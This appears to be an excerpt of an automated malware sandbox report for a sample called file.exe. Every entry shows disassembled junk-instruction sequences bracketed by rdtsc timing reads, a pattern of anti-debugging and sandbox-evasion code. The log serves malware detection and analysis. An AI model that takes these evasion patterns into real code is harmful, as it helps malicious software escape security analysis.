Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C522E4 second address: C522EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C522EE second address: C522F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C522F4 second address: C522F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C522F8 second address: C52304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F23CCC4C816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58F36 second address: C58F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jng 00007F23CC733A32h 0x0000000d jnl 00007F23CC733A26h 0x00000013 jc 00007F23CC733A26h 0x00000019 jmp 00007F23CC733A2Ah 0x0000001e push eax 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F23CC733A2Fh 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jbe 00007F23CC733A26h 0x0000002f jmp 00007F23CC733A36h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D78E second address: C5D794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D394 second address: C5D39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D39A second address: C5D3A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5FAD7 second address: C5FADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6469C second address: C646EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b jmp 00007F23CCC4C81Dh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F23CCC4C82Ah 0x00000019 jne 00007F23CCC4C82Eh 0x0000001f je 00007F23CCC4C816h 0x00000025 jmp 00007F23CCC4C822h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C646EF second address: C64702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23CC733A2Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64702 second address: C64706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64706 second address: C6471F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F23CC733A31h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64A0D second address: C64A16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64D25 second address: C64D33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F23CC733A26h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64D33 second address: C64D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64FC1 second address: C64FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 je 00007F23CC733A26h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F23CC733A26h 0x00000018 jnl 00007F23CC733A26h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64FDF second address: C64FE5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64FE5 second address: C64FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007F23CC733A26h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64FF5 second address: C64FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AE17 second address: C6AE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CC733A2Fh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push ebx 0x00000015 je 00007F23CC733A26h 0x0000001b jl 00007F23CC733A26h 0x00000021 pop ebx 0x00000022 popad 0x00000023 js 00007F23CC733A57h 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69776 second address: C697BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F23CCC4C816h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007F23CCC4C826h 0x00000011 jno 00007F23CCC4C816h 0x00000017 pop edi 0x00000018 popad 0x00000019 jbe 00007F23CCC4C830h 0x0000001f jnl 00007F23CCC4C81Eh 0x00000025 jp 00007F23CCC4C81Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BAE second address: C69BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BB4 second address: C69BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BB9 second address: C69BC3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23CC733A3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BC3 second address: C69BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CCC4C822h 0x00000009 jne 00007F23CCC4C81Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BE1 second address: C69BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BED second address: C69BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69BF3 second address: C69C07 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jno 00007F23CC733A26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69C07 second address: C69C11 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69C11 second address: C69C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F23CC733A2Fh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69C27 second address: C69C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F23CCC4C816h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69ED8 second address: C69EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69EDC second address: C69F05 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F23CCC4C821h 0x00000010 jmp 00007F23CCC4C81Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007F23CCC4C816h 0x0000001d jne 00007F23CCC4C816h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C117B2 second address: C117B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D43E second address: C6D442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D442 second address: C6D446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D446 second address: C6D45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F23CCC4C816h 0x0000000e ja 00007F23CCC4C816h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D45A second address: C6D45E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D45E second address: C6D468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D468 second address: C6D46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D46C second address: C6D470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5E5 second address: C6D5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D5EB second address: C6D5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D727 second address: C6D73D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F23CC733A26h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F23CC733A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6D9F7 second address: C6DA17 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23CCC4C816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F23CCC4C823h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DA17 second address: C6DA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F23CC733A26h 0x0000000a jmp 00007F23CC733A2Bh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74E99 second address: C74EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F23CCC4C825h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74EB7 second address: C74ED7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F23CC733A30h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74ED7 second address: C74EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72F4F second address: C72F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CC733A32h 0x00000009 jns 00007F23CC733A26h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72F70 second address: C72F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72F74 second address: C72F92 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F23CC733A34h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7321E second address: C73224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7375D second address: C73765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73765 second address: C73796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F23CCC4C828h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F23CCC4C816h 0x00000015 popad 0x00000016 pop ecx 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73796 second address: C737B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F23CC733A31h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73CE9 second address: C73CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7402F second address: C74033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74033 second address: C7404B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F23CCC4C816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F23CCC4C81Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A704 second address: C7A727 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F23CC733A26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A727 second address: C7A72D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A72D second address: C7A732 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7A732 second address: C7A738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E660 second address: C7E6AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A32h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F23CC733A2Eh 0x00000013 jmp 00007F23CC733A2Ch 0x00000018 popad 0x00000019 push eax 0x0000001a jg 00007F23CC733A26h 0x00000020 jmp 00007F23CC733A2Ch 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E6AE second address: C7E6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E6B4 second address: C7E6D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23CC733A26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F23CC733A2Bh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E6D2 second address: C7E6DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E6DC second address: C7E6E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E6E0 second address: C7E6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D6C4 second address: C7D6CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D6CA second address: C7D6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D6CE second address: C7D6F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F23CC733A2Ch 0x0000000c pop edx 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F23CC733A31h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D6F6 second address: C7D719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F23CCC4C816h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F23CCC4C81Fh 0x00000011 jg 00007F23CCC4C816h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DA5D second address: C7DA88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F23CC733A37h 0x0000000e jmp 00007F23CC733A31h 0x00000013 popad 0x00000014 pushad 0x00000015 jbe 00007F23CC733A2Eh 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DA88 second address: C7DA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DC03 second address: C7DC07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DE97 second address: C7DE9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7DE9B second address: C7DEA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E036 second address: C7E044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E1A7 second address: C7E1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E2F9 second address: C7E2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E2FD second address: C7E301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E301 second address: C7E31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CCC4C821h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E31B second address: C7E36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 jmp 00007F23CC733A38h 0x0000000d jmp 00007F23CC733A36h 0x00000012 pop edi 0x00000013 pushad 0x00000014 jmp 00007F23CC733A38h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E36F second address: C7E389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CCC4C820h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8633F second address: C8634B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F23CC733A26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8634B second address: C8634F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8634F second address: C86353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84A6A second address: C84A70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84CD8 second address: C84CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 pushad 0x0000000a ja 00007F23CC733A26h 0x00000010 jo 00007F23CC733A26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84CF0 second address: C84D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F23CCC4C822h 0x0000000c push esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84D14 second address: C84D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F23CC733A26h 0x0000000a jmp 00007F23CC733A34h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F23CC733A32h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8500C second address: C85012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85142 second address: C85149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
